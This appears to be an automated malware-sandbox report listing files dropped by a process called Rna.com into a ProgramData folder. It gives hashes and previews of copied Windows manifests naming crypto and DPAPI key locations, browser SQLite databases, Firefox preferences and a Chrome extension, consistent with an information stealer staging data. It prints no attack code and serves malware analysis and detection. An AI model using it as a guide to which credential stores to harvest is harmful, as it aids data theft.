Entropy (8bit):	5.0065780470180306
Encrypted:	false
SSDEEP:	24:p/o2e8GFp8PvMu0Vnu7vFPvJ8+FXg0Mej39ImlQu/kKcCEF4wflBX0FCUK:22e8+8PvMu0VnuRPvJ8+FXgMtImlx3cd
MD5:	E68A33BDAF7AEBE6D5BBBCEFDED6AC5C
SHA1:	A1120341BB4452FCA47EB5EA8FA62A08BFC48073
SHA-256:	A5DC5B9F31D69E6F65F405EF4E187BAB262746AAAC08E95C195AA77A0B310DE1
SHA-512:	69E1A60C0FFE8AA19B55FABE47801EEEA7CF4C84E426318D8B7BFFAF09A14FC5F569573BE30753D354B604911A616C231F485B08C3778E0A214F7E3DC9C21D2C
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="artbaker".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="artbaker".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-Cryptography-CryptoConfig-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration xmlns="">.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>..

C:\ProgramData\g4opz\00z58g

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10219
Entropy (8bit):	4.966520026409024
Encrypted:	false
SSDEEP:	96:NPgBOOzJMk67cY82SGrPVYRjDjXK2F6KJzLLwGXtXqWgrjj31jj6OzJMk67cY82s:UYwP62I+Wr3JjkwP62I+Ws
MD5:	381138FA1B1C4C298AD2441898677ED6
SHA1:	B8A0B0ECAAF6F3BBD7C27DD54ACD4BC3366DD0A4
SHA-256:	D4EE07BC2183E3D013B68B080B9E2F603676B27F8B0C95CCA2ED533BC671FAFA
SHA-512:	095C2B1C129C36125FE17ED096FDE58AE0F8AF61527D9AEDCAB379C3221BF09D87F28846E6FA3CF9FE05C750689A2ADFCDD1AB67409780A12A425A33219858EC
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. <assemblyIdentity.. buildType="release".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI-Component".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. optimizePatterns="no".. offlineApply="no".. replacementSettingsVersionRange="0".. replacementVersionRange="6.2-10.0".. scope="MigWiz,Upgrade".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. Downlevel settings -->.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultUserName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultDomainName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsof

C:\ProgramData\g4opz\2dtjmy58g

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\2vkxl68gd

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\3790hv

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3958094375125357
Encrypted:	false
SSDEEP:	48:nQwlrNmQnc/vSpKll7DYMcCSG8JO8VFDYMcSzi:QcfITll4/jVG
MD5:	CB5BF3CC261B4FE5AD758C20925373CD
SHA1:	9EC0DE71E0263B7C0714043097DC2AE669C2F2BE
SHA-256:	CEE51CA746542EEDE94535D76234D0D5F336EBB474AC70A577304C6F0651032E
SHA-512:	852A02FE2981DAA552414D028D3F9689CF13B0082BC628F146171FC40BF4416C9E5623EA36693B42401346923CDDD703B2710A1C49C280E5A55334FB5AB72680
Malicious:	false
Preview:	7....-..............{...l..@A..............{....8..S^.SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\47y5pz

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.96984082363901
Encrypted:	false
SSDEEP:	24:p/o2e8ZF2YS+pg0cjh3N1LRMEF4wuSb3wuyBX0FCUK:22e8z2j+pgfZlMY4Qr0B2A
MD5:	4DBFCA3B87A59186D2612A95CA2CD899
SHA1:	4C84BD2D60CE789B44070CDDC296C09D2F52B1CC
SHA-256:	2C229D8DA31E17FCEF244A8A2029CA8FE8374738A9ECBFED9E23FB89DB8DF059
SHA-512:	704ECDBE3FC38AC3807946072C7C523C36B4AF1586BEFE01A87BBBF35CF20214A0E0DE892A56E74FE8AA806154D7D2B9CC7028AEF47BEC326564B5F18CD12421
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-OneCore-TetheringService".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. replacementSettingsVersionRange="0".. settingsVersion="1".. alwaysProcess="Yes".. >.. <machineSpecific>.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Roaming\[]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Settings\[*]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\g4opz\4e3w4e

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	4.925445222257812
Encrypted:	false
SSDEEP:	48:227+9gUKl+lxFcCY4/YBu4yTy3opyLyXyoyOyzylpjyA:22Sw+lxaWm3uCL9Gv
MD5:	60145F68B1CF9440FA663820AE11CE4B
SHA1:	10195A2926015E3024D769673E004AA60DFEC0A3
SHA-256:	4805E01EB0C9B3DFEB6B754D4148588E2FB798734D9EDE20E53EB8E75158B64F
SHA-512:	55D088040D25D4CBFF5A4210A85107666E628C67CA3134B0C836E135DBFE82AA4FA70185993E99D951307F7D159C1428B390727DA17EFEC5AA4BE9D799B96895
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="".. name="Microsoft-Windows-Kerberos-Key-Distribution-Center-DL".. processorArchitecture="".. publicKeyToken="$(Build.WindowsPublicKeyToken)".. version="0.0.0.0".. />.. <migration>.. <machineSpecific>.. <migXml xmlns="">.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>.. <detect>.. <condition>MigXmlHelper.IsOSEarlierThan("NT", "6.0.0.0")</condition>.. </detect>.. </detects>.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\kdc\* [*]</pattern>.. </objectSet>.. </include>.. <exclude>.. <objectSet>.. <pattern type="Reg

C:\ProgramData\g4opz\4w4ekn

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\5pzuk6

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	8193
Entropy (8bit):	5.027484893998515
Encrypted:	false
SSDEEP:	96:WNPERXr2q6QOOzJMk67cY8GrPVYRjDjXK2FJpjjsjwjZjj6OzJMk67cY8GrPVYRM:a2gwP625sQ9jsw902I
MD5:	2D6ACF2AEC5E5349B16581C8AE23BF3E
SHA1:	0AA7B29E8F13EB16F3DFC503D4E8CC55424ECB15
SHA-256:	B48F54A1F8A4C3A25D7E0FBCB95BF2C825C89ACD9C80EBACE8C15681912EDEA2
SHA-512:	7943AA852F34778B9197C34E6B6978FE51E0CDD2130167CB9C7C56D1B2B1272051EFE03DF3A21A12ECB9B9303DE0733E335CDE0BBBE1A1FC429E3323D335A1FE
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. AuthUI has 3 different component names that matter in its migration story... The one that applies during the migration gather phase is as follows:.. Microsoft-Windows-Authentication-AuthUI: Vista and Win7.. Microsoft-Windows-Authentication-AuthUI-Component: Win8 (and beyond).. In order to support migration from Vista/Win7 to Win8, we update the Microsoft-Windows-Authentication-AuthUI component.. to gather in the MigWiz scope (in addition to the Upgrade scope, which it already supported)... -->.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration .. optimizePatterns="no".. offlineApply="no".. alwaysProcess="yes".. scope="MigWiz,

C:\ProgramData\g4opz\7qq1n7

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	4.976174799333973
Encrypted:	false
SSDEEP:	24:p/o2e8ZR+UX6g0cj3+3A63sDEF4wwVpQwuoMBX0FCUK:22e8v+DgfLUwY4fcZB2A
MD5:	ECC51190BD585AB376691BBDDF2A638B
SHA1:	84DE01CF25B71C0BC4D16FAF65BE1589E385EAF0
SHA-256:	6F15C7E90A3C414BEAD4C1C50DC5E7CAB987D72E2F49953B717A879D7745038C
SHA-512:	C0626F92BD934A3C5295EA32D63910C3F51E0A47CB6287C698C0DF7EE66C1D1A1867FDE10F824BD7514566C69CD2DA16571D3F0DC56FE9DE39D13F89DFE2A02A
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-Embedded-KeyboardFilterService-Client".. processorArchitecture="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. replacementSettingsVersionRange="0-1".. settingsVersion="2".. >.. <machineSpecific>.. <migXml xmlns="">.. Per-machine state -->.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SOFTWARE\Microsoft\Windows Embedded\KeyboardFilter\ [*]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\MsKeyboardFilter [Start]</pattern>.. </objectSet>.. </inc

C:\ProgramData\g4opz\89hdt0

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\aieukn

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3019
Entropy (8bit):	4.884926762491409
Encrypted:	false
SSDEEP:	48:22e8z2j+YgfH0LeIg6aFnJmINGbYgaFnQ7sPvh27+QgL7sYN2b4waFnw+:22X2qD0SPJv1/Pvh2S/pVN
MD5:	63F04FB9936532B21E616E88E3EBED14
SHA1:	56CEC96A0D4B10C6FC28C726B76BEF278CBC512F
SHA-256:	61C5B3D0FD4051236AD00A0A39BE2F75F7E0DEC2AFBFF85617AED19AEF3FC650
SHA-512:	66FF4756CE723378126DC6C1EC493B665D08387B3305A97ED9A80500CCCE6001DFB7F8957E8246C7C572D0362DA49EEC7AF8451B849F9E0E89FD8E14041CE75D
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-Windows-Extensible-Authentication-Protocol-Host-Service".. processorArchitecture="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. replacementSettingsVersionRange="0".. replacementVersionRange="6.0-6.1.7150".. scope="Upgrade,MigWiz,USMT".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\EapHost\Methods\ [*]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\EapHost\Configuration\

C:\ProgramData\g4opz\b1nycb

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3940876416121774
Encrypted:	false
SSDEEP:	48:CexI5QurB/IyQTll7DYMrbxIO8VFDYMrSp:SqVdll4xjVG
MD5:	B51CD8F4331276235DFA5BF1EAAF1A9E
SHA1:	E8A9B579E4CDE21510D0C55B7A86417D7A72991D
SHA-256:	7ECF7C676E22ABDEBAE5A0DBBFBBE5A67B98BAAE6257B328B881A0411918A3F0
SHA-512:	DADEC45650D670A49AA4EC40562741DC8A602932181D03B1222AB0B59EA918FC51F1DA9DDB93976AE93C706EEA82DC6F27C218BABDC88B95758425D42984F78B
Malicious:	false
Preview:	7....-........... .g._..<.$..7[/......... .g._..w...D.ISQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\ctj5p8

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\g4opz\d2dbi5

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	5.130068712095974
Encrypted:	false
SSDEEP:	48:/2e8G+F0Vg8DIIgPdunPduPPduNJ7IgfCfikfidjikjirJu/MY4C5uXC5u/C5upL:/29F+cO0Mf7Rwiai5ieiFEMAQSQaQwX4
MD5:	CD55A48FE382A6820EC4FB55A66C2858
SHA1:	70A0A7B0E12DF915BD5E68FF0432637EFC2153DE
SHA-256:	97838AB994B53DFADEEF63955EECB05A7F118C2066EF97B0B0EB7BB48A526451
SHA-512:	37C6D78CCD807B04834659B5E796424C443B2C4F72481CB4080ED1BC5E6A954E47C4AF837A653DDAAFED2372C4FF60CE442170EA58586AB93C57B841449C5195
Malicious:	false
Preview:	<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. name="Microsoft-Windows-Crypto-keys".. version="0.0.0.0".. processorArchitecture="".. language="neutral".. />.. <migration scope="Upgrade,MigWiz,USMT" .. replacementVersionRange="6.0-6.1".. replacementSettingsVersionRange="0".. settingsVersion="0" .. >.. <migXml xmlns="">.. <rules context="User">.. <include>.. <objectSet>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\RSA\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\DSS\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\Keys[]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\g4opz\dbi5pp

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3940876416121774
Encrypted:	false
SSDEEP:	48:CexI5QurB/IyQTll7DYMrbxIO8VFDYMrSp:SqVdll4xjVG
MD5:	B51CD8F4331276235DFA5BF1EAAF1A9E
SHA1:	E8A9B579E4CDE21510D0C55B7A86417D7A72991D
SHA-256:	7ECF7C676E22ABDEBAE5A0DBBFBBE5A67B98BAAE6257B328B881A0411918A3F0
SHA-512:	DADEC45650D670A49AA4EC40562741DC8A602932181D03B1222AB0B59EA918FC51F1DA9DDB93976AE93C706EEA82DC6F27C218BABDC88B95758425D42984F78B
Malicious:	false
Preview:	7....-........... .g._..<.$..7[/......... .g._..w...D.ISQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\dt2vsj

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4533
Entropy (8bit):	5.1021772201912805
Encrypted:	false
SSDEEP:	96:22X8PvMu0jPvJPM0UJl1/Qi9XexcElVOaBIpgmQlwYBwkbsgobVu:MUnZUb1xXMV37BhgVu
MD5:	477F010FDB6BD5E5E57D6DEC5449F2FB
SHA1:	73F9C03AF35B29EC2404BB70FEDC8C9ADADE74F6
SHA-256:	2DBEDD5D4D6645E9ED45563FDB1DC42387EF24C9CF5D6A08EC3BE448073C4696
SHA-512:	3C630BE96FC7FCD0036D254BA4D197AB31F37F6DAC411F8C78E624B0501D0205AF36CD5A29EC98D96D5D8D88EF2DBB2DF3A62C6F658A93302ECA500B8EC74F2F
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="jeffspel".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="jeffspel".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-dpapi-keys-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. xmlns="".. scope="Upgrade,MigWiz,USMT".. >.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows V

C:\ProgramData\g4opz\fus2no

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	889
Entropy (8bit):	5.016955029110262
Encrypted:	false
SSDEEP:	24:p/o2e8ZR+Vj3Xg0cjAkt3QbENgwnwJXMFhUK:22e8v+VrgfAbIggwJuX
MD5:	2948FF1C0804EC7DB473BB77EB3FBE4E
SHA1:	98A97AFC0E4E2B09A17AA0746F455DFD24356357
SHA-256:	2F6B99F5915A462CAFF60950839E1498F12C9F8194DB3DA02251C5BD2CAD700E
SHA-512:	8393B3AE7D44A4DD85D05D48768F9123910E603C477A3CACC6BF12D03D464959EC01A293B0B3317B0F8470A76D71F695098AE211DD6200D8F7F21E1C757F4EDA
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-Security-NGC-PopKeySrv".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. offlineApply="no".. scope="Upgrade,Data".. settingsVersion="3".. replacementSettingsVersionRange="0-2" .. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\ [*]</pattern>.. </objectSet>.. </include>.. </rules>.. </migXml>.. </migration>..</assembly>..

C:\ProgramData\g4opz\j5fkx4

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.861537145678193
Encrypted:	false
SSDEEP:	48:22e8v+phDgrcHreIg/0xJ9U3C0gcj0kqIg/0xJuX:22CphPHyx0ruS0N0kqx0rQ
MD5:	6F0056EC818D4FC20158F3FF190D6D6A
SHA1:	9E2108FE560CC2187395C5EED011559D201CE45D
SHA-256:	2F9596801DBE57D73C292BE4F93BD0C05F6D0A44C7A45F5F03FDBE35993B7DEC
SHA-512:	72C193919EC4402D430CCBCC4F9A9B25DC9AAECBCCAEE666EFE20DA4133964D2382F1090EEB8FB0A3073ACAA7825AF7A62B59447D29F912A19BD4C04CDDF1AD1
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-CertificateAuthority-Enrollment-ServerUpgrade".. processorArchitecture="".. version="1.0.0.0".. versionScope="nonSxS".. />.. <migration.. alwaysProcess="yes".. replacementSettingsVersionRange="0".. replacementVersionRange="6.1.".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\Software\Microsoft\ADCS\CES [ConfigurationStatus]</pattern>.. </objectSet>.. </include>.. </rules>.. <rules context="System">.. <detects>.. <detect>.. Detection of CES. -

C:\ProgramData\g4opz\jeua1n

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4814
Entropy (8bit):	7.909739359753065
Encrypted:	false
SSDEEP:	96:K9DcEoTtp9feekTeBInbpzQK/XMEkyS+v86l1pjb5vFQIRwDYPc:K56zAMWpQK/cyz8A7jb5vGIqQc
MD5:	6E6FE97CBC259DB47CD8423141CF35A3
SHA1:	EE7D38E394FC87FBF2D4CBF7A45A56E270D667E1
SHA-256:	1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79192ED37D0C3A7A8BAB03
SHA-512:	9FEE51391A289037D36344E22A49D5D4B863F30FFD19B4377D61E57EF389599F2F2790C41B6902C45BAF27B21A1F6916B6B6DF61A490A35592BE8CD1164E1966
Malicious:	false
